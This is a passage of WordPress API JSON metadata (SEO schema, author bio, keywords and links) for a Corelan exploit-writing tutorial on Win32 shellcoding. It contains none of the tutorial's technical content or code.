Research\"},\"image\":{\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/corelanconsulting\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\",\"https:\\\/\\\/x.com\\\/corelanconsulting\",\"https:\\\/\\\/instagram.com\\\/corelanconsult\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.corelan.be\\\/#\\\/schema\\\/person\\\/3be5542b9b0a0787893db83a5ad68e8f\",\"name\":\"corelanc0d3r\",\"pronouns\":\"he\\\/him\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x\",\"caption\":\"corelanc0d3r\"},\"description\":\"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.\",\"sameAs\":[\"https:\\\/\\\/www.corelan-training.com\",\"https:\\\/\\\/instagram.com\\\/corelanc0d3r\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/petervaneeckhoutte\\\/\",\"https:\\\/\\\/x.com\\\/corelanc0d3r\"],\"url\":\"https:\\\/\\\/www.corelan.be\\\/index.php\\\/author\\\/admin0\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding - Corelan | Exploit Development &amp; Vulnerability Research","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/","og_locale":"en_US","og_type":"article","og_title":"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding - Corelan | Exploit Development &amp; Vulnerability Research","og_description":"Over the last couple of months, I have written a set of tutorials about building exploits that target the Windows stack. One of the primary goals of anyone writing an exploit is to modify the normal execution flow of the application and trigger the application to run arbitrary code\u2026 code that is injected by the &hellip; Continue reading \"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding\"","og_url":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/","og_site_name":"Corelan | Exploit Development &amp; Vulnerability Research","article_publisher":"https:\/\/www.facebook.com\/corelanconsulting","article_published_time":"2010-02-25T16:21:00+00:00","og_image":[{"url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb.png","type":"","width":"","height":""}],"author":"corelanc0d3r","twitter_card":"summary_large_image","twitter_creator":"@corelanc0d3r","twitter_site":"@corelanc0d3r","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"TechArticle","@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/#article","isPartOf":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/"},"author":{"name":"corelanc0d3r","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f"},"headline":"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding","datePublished":"2010-02-25T16:21:00+00:00","mainEntityOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/"},"wordCount":8705,"publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb.png","keywords":["encoder decoder","exploit development tutorial","peb","pvefindaddr","perl","seh","stack","shellcode","metasploit"],"articleSection":["Exploit Writing Tutorials","Security"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/","url":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/","name":"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding - Corelan | Exploit Development &amp; Vulnerability Research","isPartOf":{"@id":"https:\/\/www.corelan.be\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/#primaryimage"},"image":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/#primaryimage"},"thumbnailUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb.png","datePublished":"2010-02-25T16:21:00+00:00","breadcrumb":{"@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/#primaryimage","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/02\/image_thumb.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.corelan.be\/"},{"@type":"ListItem","position":2,"name":"Exploit writing tutorial part 9 : Introduction to Win32 shellcoding"}]},{"@type":"WebSite","@id":"https:\/\/www.corelan.be\/#website","url":"https:\/\/www.corelan.be\/","name":"Corelan CyberSecurity Research","description":"Corelan publishes in-depth tutorials on exploit development, Windows exploitation, vulnerability research, heap internals, reverse engineering and security tooling used by professionals worldwide.","publisher":{"@id":"https:\/\/www.corelan.be\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.corelan.be\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.corelan.be\/#organization","name":"Corelan CyberSecurity Research","url":"https:\/\/www.corelan.be\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/","url":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","contentUrl":"https:\/\/www.corelan.be\/wp-content\/uploads\/2026\/03\/corelanlogo2_small-20.png","width":200,"height":200,"caption":"Corelan CyberSecurity Research"},"image":{"@id":"https:\/\/www.corelan.be\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/corelanconsulting","https:\/\/x.com\/corelanc0d3r","https:\/\/x.com\/corelanconsulting","https:\/\/instagram.com\/corelanconsult"]},{"@type":"Person","@id":"https:\/\/www.corelan.be\/#\/schema\/person\/3be5542b9b0a0787893db83a5ad68e8f","name":"corelanc0d3r","pronouns":"he\/him","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","url":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3783bed6acd72d7fa5bb2387d88acbb9a3403e7cada60b2037e1cbb74ad451f9?s=96&d=mm&r=x","caption":"corelanc0d3r"},"description":"Peter Van Eeckhoutte is the founder of Corelan and a globally recognized expert in exploit development and vulnerability research. With over two decades in IT security, he built Corelan into a respected platform for deep technical research, hands-on training, and knowledge sharing. Known for his influential exploit development tutorials, tools, and real-world training, Peter combines a strong research mindset with a passion for education\u2014helping security professionals understand not just how exploits work, but why.","sameAs":["https:\/\/www.corelan-training.com","https:\/\/instagram.com\/corelanc0d3r","https:\/\/www.linkedin.com\/in\/petervaneeckhoutte\/","https:\/\/x.com\/corelanc0d3r"],"url":"https:\/\/www.corelan.be\/index.php\/author\/admin0\/"}]}},"views":136162,"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2830","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/comments?post=2830"}],"version-history":[{"count":0,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/posts\/2830\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/media?parent=2830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/categories?post=2830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.corelan.be\/index.php\/wp-json\/wp\/v2\/tags?post=2830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}